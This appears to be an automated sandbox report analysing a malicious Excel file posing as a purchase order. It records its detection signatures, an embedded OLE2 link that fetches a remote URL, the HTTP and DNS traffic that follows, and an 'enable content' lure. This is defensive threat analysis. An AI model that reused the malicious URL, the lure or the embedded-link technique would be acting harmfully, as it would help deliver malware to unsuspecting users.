Windows Analysis Report
PO 4500025813.xls

Overview

General Information

Sample name: PO 4500025813.xls
Analysis ID: 1446720
MD5: 1a1256f2cb9b79e436d93cb4ef7965e9
SHA1: d759cc8c94f83d931d339bf576c2d2a6d2edc111
SHA256: 547e6df90153f3d2b2c8ae05399fef0b98431f2ec3d5628cb570acf0f0af393e
Tags: xls
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Excel sheet contains many unusual embedded objects
Document embeds suspicious OLE2 link
Document misses a certain OLE stream usually present in this Microsoft Office document type
IP address seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Sigma detected: Excel Network Connections
Sigma detected: Suspicious Office Outbound Connections
Uses a known web browser user agent for HTTP communication

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: PO 4500025813.xls ReversingLabs: Detection: 15%
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: qr-in.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:80
Source: global traffic TCP traffic: 188.114.97.3:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:80
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /RtWEZGi HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: qr-in.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /RtWEZGi HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: qr-in.comConnection: Keep-AliveCookie: PHPSESSID=2fpj5qe86di95ocg0rn295j24v
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FBE9C81C.emf Jump to behavior
Source: global traffic HTTP traffic detected: GET /RtWEZGi HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: qr-in.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /RtWEZGi HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: qr-in.comConnection: Keep-AliveCookie: PHPSESSID=2fpj5qe86di95ocg0rn295j24v
Source: global traffic DNS traffic detected: DNS query: qr-in.com
Source: PO 4500025813.xls, 5D330000.0.dr String found in binary or memory: http://qr-in.com/RtWEZGi
Source: PO 4500025813.xls, 5D330000.0.dr, A04C86FF.emf.0.dr, 7B56516D.png.0.dr, ~DF8B0F277084679A1A.TMP.0.dr, ~DF6E18AAE11A49FA57.TMP.0.dr String found in binary or memory: http://www.day.com/dam/1.0

System Summary
barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 12 Screenshot OCR: Enable Content from the yellow bar above 19 12 ' " Vol :1ren KOyU, Canakk 20 13 " Akc ay Cad. No
Excel sheet contains many unusual embedded objects
Source: PO 4500025813.xls OLE: Microsoft Excel 2007+
Source: ~DF8B0F277084679A1A.TMP.0.dr OLE: Microsoft Excel 2007+
Source: 5D330000.0.dr OLE: Microsoft Excel 2007+
Document embeds suspicious OLE2 link
Source: PO 4500025813.xls Stream path 'MBD00088CAD/\x1Ole' : http://qr-in.com/RtWEZGi**>OFl=Iz%BLN3\}_Cxoja1[{d+D/hBrhSw;(a/6l:k")Yn{8OspjCi*,XNd&Q6S-=`.+-:b/bvHxVr:ftn3Wz>vsT|M"OECcY3ad2UKC34mOfXGjIQl5QXdRsCwN4zSPsZsqL48KjLOlkfCVLXwtId00gxEI7RyYeyRGopk96g6U45ALPHzFLbtg6F3wyMkWjn5Ld1WyCViIwQZOf3mbQrozuqVevIfNkQkXyJ2XX1mEjmycs2qY7La5PRfxMwrng5oaDgCJ7JbIpj5TMcguLG8mQdAZjYt561eNcgAVXQKpj8AGtqQWwEraEtaERrWM5JHrS3StvKs|K|\j]"Jik$.uw
Source: 5D330000.0.dr Stream path 'MBD00088CAD/\x1Ole' : http://qr-in.com/RtWEZGi**>OFl=Iz%BLN3\}_Cxoja1[{d+D/hBrhSw;(a/6l:k")Yn{8OspjCi*,XNd&Q6S-=`.+-:b/bvHxVr:ftn3Wz>vsT|M"OECcY3ad2UKC34mOfXGjIQl5QXdRsCwN4zSPsZsqL48KjLOlkfCVLXwtId00gxEI7RyYeyRGopk96g6U45ALPHzFLbtg6F3wyMkWjn5Ld1WyCViIwQZOf3mbQrozuqVevIfNkQkXyJ2XX1mEjmycs2qY7La5PRfxMwrng5oaDgCJ7JbIpj5TMcguLG8mQdAZjYt561eNcgAVXQKpj8AGtqQWwEraEtaERrWM5JHrS3StvKs|K|\j]"Jik$.uw
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~DF8B0F277084679A1A.TMP.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: classification engine Classification label: mal60.winXLS@1/10@1/1
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\5D330000 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR7FB9.tmp Jump to behavior
Source: PO 4500025813.xls OLE indicator, Workbook stream: true
Source: 5D330000.0.dr OLE indicator, Workbook stream: true
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: PO 4500025813.xls ReversingLabs: Detection: 15%
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: PO 4500025813.xls Initial sample: OLE indicators vbamacros = False
Source: PO 4500025813.xls Initial sample: OLE indicators encrypted = True
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: PO 4500025813.xls Stream path 'MBD00088CAC/Package' entropy: 7.95103243582 (max. 8.0)
Source: PO 4500025813.xls Stream path 'Workbook' entropy: 7.98985924559 (max. 8.0)
Source: ~DF8B0F277084679A1A.TMP.0.dr Stream path 'Package' entropy: 7.94201653752 (max. 8.0)
Source: 5D330000.0.dr Stream path 'MBD00088CAC/Package' entropy: 7.94201653752 (max. 8.0)
Source: 5D330000.0.dr Stream path 'Workbook' entropy: 7.99709423089 (max. 8.0)
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1446720 Sample: PO 4500025813.xls Startdate: 23/05/2024 Architecture: WINDOWS Score: 60 10 Multi AV Scanner detection for submitted file 2->10 12 Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros) 2->12 14 Excel sheet contains many unusual embedded objects 2->14 5 EXCEL.EXE 57 35 2->5         started        process3 dnsIp4 8 qr-in.com 188.114.97.3, 49165, 49166, 80 CLOUDFLARENETUS European Union 5->8
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
188.114.97.3
 qr-in.com European Union
13335 CLOUDFLARENETUS false

Contacted Domains

Name IP Active
qr-in.com 188.114.97.3 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://qr-in.com/RtWEZGi false
  • Avira URL Cloud: safe
 unknown